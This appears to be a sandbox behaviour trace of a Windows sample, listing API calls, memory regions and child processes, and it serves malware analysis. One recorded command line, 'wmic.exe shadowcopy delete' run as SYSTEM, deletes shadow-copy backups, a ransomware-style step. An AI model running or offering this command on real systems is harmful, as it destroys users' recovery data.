	[0139.884] inet_ntoa (in=0x1e3f1f4e) returned="78.31.63.30"
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 13
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0139.884] inet_ntoa (in=0x6b2c685f) returned="95.104.44.107"
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 15
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0139.884] inet_ntoa (in=0x165b2c4) returned="196.178.101.1"
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 15
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0139.884] inet_ntoa (in=0xf67b7a56) returned="86.122.123.246"
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 16
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0139.884] inet_ntoa (in=0x329430b2) returned="178.48.148.50"
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 15
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0139.884] inet_ntoa (in=0x535e054) returned="84.224.53.5"
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 13
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0139.884] inet_ntoa (in=0x8a30774f) returned="79.119.48.138"
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 15
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0139.884] inet_ntoa (in=0x6ea76955) returned="85.105.167.110"
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 16
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0139.884] inet_ntoa (in=0x164dd6d5) returned="213.214.77.22"
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 15
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="\n\x09" | out: _File=0x77ac1228) returned 2
	[0139.884] inet_ntoa (in=0x9695f75c) returned="92.247.149.150"
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="%c %s" | out: _File=0x77ac1228) returned 16
	[0139.884] fprintf (in: _File=0x77ac1228, _Format="\n\n" | out: _File=0x77ac1228) returned 2
	[0139.884] LocalFree (hMem=0x48df010) returned 0x0
	[0139.884] exit (_Code=0) 

Thread:
	id = 43
	os_tid = 0x9cc


Process:
	id = "9"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x2925e000"
	os_pid = "0xb34"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0xb10"
	cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\Windows"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7]

Region:
	              id = 7664
	        start_va = 0x7ff72000
	          end_va = 0x7ff72fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ff72000"
	        filename = ""

Region:
	              id = 7665
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 7666
	        start_va = 0xb82c5a0000
	          end_va = 0xb82c5bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b82c5a0000"
	        filename = ""

Region:
	              id = 7667
	        start_va = 0xb82c5c0000
	          end_va = 0xb82c5d3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b82c5c0000"
	        filename = ""

Region:
	              id = 7668
	        start_va = 0xb82c5e0000
	          end_va = 0xb82c61ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b82c5e0000"
	        filename = ""

Region:
	              id = 7669
	        start_va = 0x7df5ff310000
	          end_va = 0x7ff5ff30ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff310000"
	        filename = ""

Region:
	              id = 7670
	        start_va = 0x7ff6c4760000
	          end_va = 0x7ff6c4782fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c4760000"
	        filename = ""

Region:
	              id = 7671
	        start_va = 0x7ff6c478d000
	          end_va = 0x7ff6c478efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c478d000"
	        filename = ""

Region:
	              id = 7672
	        start_va = 0x7ff6c478f000
	          end_va = 0x7ff6c478ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c478f000"
	        filename = ""

Region:
	              id = 7673
	        start_va = 0x7ff6c4950000
	          end_va = 0x7ff6c4960fff
	     entry_point = 0x7ff6c4950000
	     region_type = mapped_file
	            name = "conhost.exe"
	        filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe")

Region:
	              id = 7674
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 7675
	        start_va = 0xb82c640000
	          end_va = 0xb82c73ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b82c640000"
	        filename = ""

Region:
	              id = 7676
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 7677
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 7678
	        start_va = 0xb82c5a0000
	          end_va = 0xb82c5affff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b82c5a0000"
	        filename = ""

Region:
	              id = 7679
	        start_va = 0xb82c5b0000
	          end_va = 0xb82c5b6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b82c5b0000"
	        filename = ""

Region:
	              id = 7680
	        start_va = 0xb82c620000
	          end_va = 0xb82c620fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b82c620000"
	        filename = ""

Region:
	              id = 7681
	        start_va = 0xb82c630000
	          end_va = 0xb82c636fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b82c630000"
	        filename = ""

Region:
	              id = 7682
	        start_va = 0xb82c740000
	          end_va = 0xb82c7fdfff
	     entry_point = 0xb82c740000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 7683
	        start_va = 0xb82c800000
	          end_va = 0xb82c83ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b82c800000"
	        filename = ""

Region:
	              id = 7684
	        start_va = 0xb82c840000
	          end_va = 0xb82c840fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b82c840000"
	        filename = ""

Region:
	              id = 7685
	        start_va = 0xb82c850000
	          end_va = 0xb82c850fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b82c850000"
	        filename = ""

Region:
	              id = 7686
	        start_va = 0xb82c950000
	          end_va = 0xb82c95ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000b82c950000"
	        filename = ""

Region:
	              id = 7687
	        start_va = 0xb82c960000
	          end_va = 0xb82cae7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b82c960000"
	        filename = ""

Region:
	              id = 7688
	        start_va = 0xb82caf0000
	          end_va = 0xb82cc70fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b82caf0000"
	        filename = ""

Region:
	              id = 7689
	        start_va = 0xb82cc80000
	          end_va = 0xb82e07ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000b82cc80000"
	        filename = ""

Region:
	              id = 7690
	        start_va = 0x7ff6c4660000
	          end_va = 0x7ff6c475ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c4660000"
	        filename = ""

Region:
	              id = 7691
	        start_va = 0x7ff6c478b000
	          end_va = 0x7ff6c478cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c478b000"
	        filename = ""

Region:
	              id = 7692
	        start_va = 0x7ffbfc0f0000
	          end_va = 0x7ffbfc14ffff
	     entry_point = 0x7ffbfc0f0000
	     region_type = mapped_file
	            name = "conhostv1.dll"
	        filename = "\\Windows\\System32\\ConhostV1.dll" (normalized: "c:\\windows\\system32\\conhostv1.dll")

Region:
	              id = 7693
	        start_va = 0x7ffc015f0000
	          end_va = 0x7ffc01625fff
	     entry_point = 0x7ffc015f0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 7694
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 7695
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 7696
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 7697
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 7698
	        start_va = 0x7ffc02160000
	          end_va = 0x7ffc022bbfff
	     entry_point = 0x7ffc02160000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 7699
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 7700
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")


Thread:
	id = 39
	os_tid = 0xb3c


Thread:
	id = 40
	os_tid = 0x9ec


Thread:
	id = 41
	os_tid = 0x87c


Thread:
	id = 42
	os_tid = 0xa38


Process:
	id = "10"
	image_name = "wmic.exe"
	filename = "c:\\windows\\syswow64\\wbem\\wmic.exe"
	page_root = "0x4753000"
	os_pid = "0xd0c"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0xef8"
	cmd_line = "\"C:\\Windows\\system32\\wbem\\wmic.exe\" shadowcopy delete"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7]

Region:
	              id = 7765
	        start_va = 0xc60000
	          end_va = 0xc7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c60000"
	        filename = ""

Region:
	              id = 7766
	        start_va = 0xc80000
	          end_va = 0xc81fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c80000"
	        filename = ""

Region:
	              id = 7767
	        start_va = 0xc90000
	          end_va = 0xca3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c90000"
	        filename = ""

Region:
	              id = 7768
	        start_va = 0xcb0000
	          end_va = 0xceffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000cb0000"
	        filename = ""

Region:
	              id = 7769
	        start_va = 0xcf0000
	          end_va = 0xd2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000cf0000"
	        filename = ""

Region:
	              id = 7770
	        start_va = 0xd30000
	          end_va = 0xd33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000d30000"
	        filename = ""

Region:
	              id = 7771
	        start_va = 0xd40000
	          end_va = 0xd40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000d40000"
	        filename = ""

Region:
	              id = 7772
	        start_va = 0xd50000
	          end_va = 0xd51fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d50000"
	        filename = ""

Region:
	              id = 7773
	        start_va = 0x11a0000
	          end_va = 0x1203fff
	     entry_point = 0x11a0000
	     region_type = mapped_file
	            name = "wmic.exe"
	        filename = "\\Windows\\SysWOW64\\wbem\\WMIC.exe" (normalized: "c:\\windows\\syswow64\\wbem\\wmic.exe")

Region:
	              id = 7774
	        start_va = 0x1210000
	          end_va = 0x520ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001210000"
	        filename = ""

Region:
	              id = 7775
	        start_va = 0x77c40000
	          end_va = 0x77db8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 7776
	        start_va = 0x7e960000
	          end_va = 0x7e982fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007e960000"
	        filename = ""

Region:
	              id = 7777
	        start_va = 0x7e985000
	          end_va = 0x7e985fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007e985000"
	        filename = ""

Region:
	              id = 7778
	        start_va = 0x7e98b000
	          end_va = 0x7e98dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007e98b000"
	        filename = ""

Region:
	              id = 7779
	        start_va = 0x7e98e000
	          end_va = 0x7e98efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007e98e000"
	        filename = ""

Region:
	              id = 7780
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 7781
	        start_va = 0x7fff0000
	          end_va = 0x7dfc03e6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 7782
	        start_va = 0x7dfc03e70000
	          end_va = 0x7ffc03e6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007dfc03e70000"
	        filename = ""

Region:
	              id = 7783
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 7784
	        start_va = 0x7ffc04032000
	          end_va = 0x7ffffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ffc04032000"
	        filename = ""

Region:
	              id = 7786
	        start_va = 0xdb0000
	          end_va = 0xdbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000db0000"
	        filename = ""

Region:
	              id = 7787
	        start_va = 0x59300000
	          end_va = 0x5934efff
	     entry_point = 0x59300000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 7788
	        start_va = 0x59360000
	          end_va = 0x593d2fff
	     entry_point = 0x59360000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 7789
	        start_va = 0xe30000
	          end_va = 0xf2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e30000"
	        filename = ""

Region:
	              id = 7790
	        start_va = 0x59350000
	          end_va = 0x59357fff
	     entry_point = 0x59350000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 7829
	        start_va = 0xc60000
	          end_va = 0xc6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c60000"
	        filename = ""

Region:
	              id = 7830
	        start_va = 0xc70000
	          end_va = 0xc73fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c70000"
	        filename = ""

Region:
	              id = 7831
	        start_va = 0xd60000
	          end_va = 0xd9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d60000"
	        filename = ""

Region:
	              id = 7832
	        start_va = 0xdc0000
	          end_va = 0xdfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000dc0000"
	        filename = ""

Region:
	              id = 7833
	        start_va = 0xe10000
	          end_va = 0xe1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e10000"
	        filename = ""

Region:
	              id = 7834
	        start_va = 0xf30000
	          end_va = 0xfedfff
	     entry_point = 0xf30000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 7835
	        start_va = 0xff0000
	          end_va = 0x102ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ff0000"
	        filename = ""

Region:
	              id = 7836
	        start_va = 0x1030000
	          end_va = 0x106ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001030000"
	        filename = ""

Region:
	              id = 7837
	        start_va = 0x73db0000
	          end_va = 0x73deefff
	     entry_point = 0x73db0000
	     region_type = mapped_file
	            name = "framedynos.dll"
	        filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll")

Region:
	              id = 7838
	        start_va = 0x744a0000
	          end_va = 0x744a7fff
	     entry_point = 0x744a0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")

Region:
	              id = 7839
	        start_va = 0x744b0000
	          end_va = 0x744dffff
	     entry_point = 0x744b0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")

Region:
	              id = 7840
	        start_va = 0x74ce0000
	          end_va = 0x74d38fff
	     entry_point = 0x74ce0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")

Region:
	              id = 7841
	        start_va = 0x74d40000
	          end_va = 0x74d49fff
	     entry_point = 0x74d40000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 7842
	        start_va = 0x74d50000
	          end_va = 0x74d6dfff
	     entry_point = 0x74d50000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 7843
	        start_va = 0x76970000
	          end_va = 0x76ae5fff
	     entry_point = 0x76970000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 7844
	        start_va = 0x77090000
	          end_va = 0x77249fff
	     entry_point = 0x77090000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll")

Region:
	              id = 7845
	        start_va = 0x77250000
	          end_va = 0x77292fff
	     entry_point = 0x77250000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 7846
	        start_va = 0x77670000
	          end_va = 0x7775ffff
	     entry_point = 0x77670000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 7847
	        start_va = 0x77a10000
	          end_va = 0x77acdfff
	     entry_point = 0x77a10000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 7848
	        start_va = 0x77ad0000
	          end_va = 0x77ad6fff
	     entry_point = 0x77ad0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")

Region:
	              id = 7849
	        start_va = 0x77af0000
	          end_va = 0x77b9bfff
	     entry_point = 0x77af0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 7850
	        start_va = 0x7e85d000
	          end_va = 0x7e85ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007e85d000"
	        filename = ""

Region:
	              id = 7851
	        start_va = 0x7e860000
	          end_va = 0x7e95ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007e860000"
	        filename = ""

Region:
	              id = 7852
	        start_va = 0x7e988000
	          end_va = 0x7e98afff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007e988000"
	        filename = ""

Region:
	              id = 7853
	        start_va = 0x76f60000
	          end_va = 0x76f6bfff
	     entry_point = 0x76f60000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll")

Region:
	              id = 7854
	        start_va = 0xc80000
	          end_va = 0xc80fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c80000"
	        filename = ""

Region:
	              id = 7855
	        start_va = 0x77760000
	          end_va = 0x777e1fff
	     entry_point = 0x77760000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")

Region:
	              id = 7856
	        start_va = 0xda0000
	          end_va = 0xda0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000da0000"
	        filename = ""

Region:
	              id = 7860
	        start_va = 0x73da0000
	          end_va = 0x73dacfff
	     entry_point = 0x73da0000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll")

Region:
	              id = 7861
	        start_va = 0x77930000
	          end_va = 0x7798bfff
	     entry_point = 0x77930000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")

Region:
	              id = 7862
	        start_va = 0x73d30000
	          end_va = 0x73d95fff
	     entry_point = 0x73d30000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll")

Region:
	              id = 7863
	        start_va = 0x74b10000
	          end_va = 0x74b2afff
	     entry_point = 0x74b10000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll")

Region:
	              id = 7864
	        start_va = 0x5210000
	          end_va = 0x5546fff
	     entry_point = 0x5210000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 7865
	        start_va = 0x77ba0000
	          end_va = 0x77c31fff
	     entry_point = 0x77ba0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")

Region:
	              id = 7866
	        start_va = 0x1070000
	          end_va = 0x1158fff
	     entry_point = 0x1070000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 7867
	        start_va = 0xe00000
	          end_va = 0xe03fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e00000"
	        filename = ""

Region:
	              id = 7868
	        start_va = 0x73ba0000
	          end_va = 0x73d2ffff
	     entry_point = 0x73ba0000
	     region_type = mapped_file
	            name = "msxml3.dll"
	        filename = "\\Windows\\SysWOW64\\msxml3.dll" (normalized: "c:\\windows\\syswow64\\msxml3.dll")

Region:
	              id = 7869
	        start_va = 0x1070000
	          end_va = 0x10cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001070000"
	        filename = ""

Region:
	              id = 7870
	        start_va = 0x10d0000
	          end_va = 0x115ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000010d0000"
	        filename = ""

Region:
	              id = 7871
	        start_va = 0x5550000
	          end_va = 0x566ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005550000"
	        filename = ""

Region:
	              id = 7872
	        start_va = 0x5670000
	          end_va = 0x57bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005670000"
	        filename = ""

Region:
	              id = 7873
	        start_va = 0x5550000
	          end_va = 0x55dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005550000"
	        filename = ""

Region:
	              id = 7874
	        start_va = 0x5660000
	          end_va = 0x566ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005660000"
	        filename = ""

Region:
	              id = 7875
	        start_va = 0x5670000
	          end_va = 0x574efff
	     entry_point = 0x5670000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui")

Region:
	              id = 7876
	        start_va = 0x57b0000
	          end_va = 0x57bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000057b0000"
	        filename = ""

Region:
	              id = 7877
	        start_va = 0x57c0000
	          end_va = 0x5bbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000057c0000"
	        filename = ""

Region:
	              id = 7918
	        start_va = 0xe20000
	          end_va = 0xe20fff
	     entry_point = 0xe20000
	     region_type = mapped_file
	            name = "msxml3r.dll"
	        filename = "\\Windows\\SysWOW64\\msxml3r.dll" (normalized: "c:\\windows\\syswow64\\msxml3r.dll")


Thread:
	id = 46
	os_tid = 0xd58

	[0147.427] GetModuleHandleA (lpModuleName=0x0) returned 0x11a0000
	[0147.427] __set_app_type (_Type=0x1) 
	[0147.427] __p__fmode () returned 0x77ac4d6c
	[0147.427] __p__commode () returned 0x77ac5b1c
	[0147.427] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x11daa90) returned 0x0
	[0147.428] __wgetmainargs (in: _Argc=0x11e91a8, _Argv=0x11e91ac, _Env=0x11e91b0, _DoWildCard=0, _StartInfo=0x11e91bc | out: _Argc=0x11e91a8, _Argv=0x11e91ac, _Env=0x11e91b0) returned 0
	[0147.644] ??0CHString@@QAE@XZ () returned 0x11e95ec
	[0147.987] ??0CHString@@QAE@XZ () returned 0x11e98fc
	[0147.987] ?Empty@CHString@@QAEXXZ () returned 0x73de6424
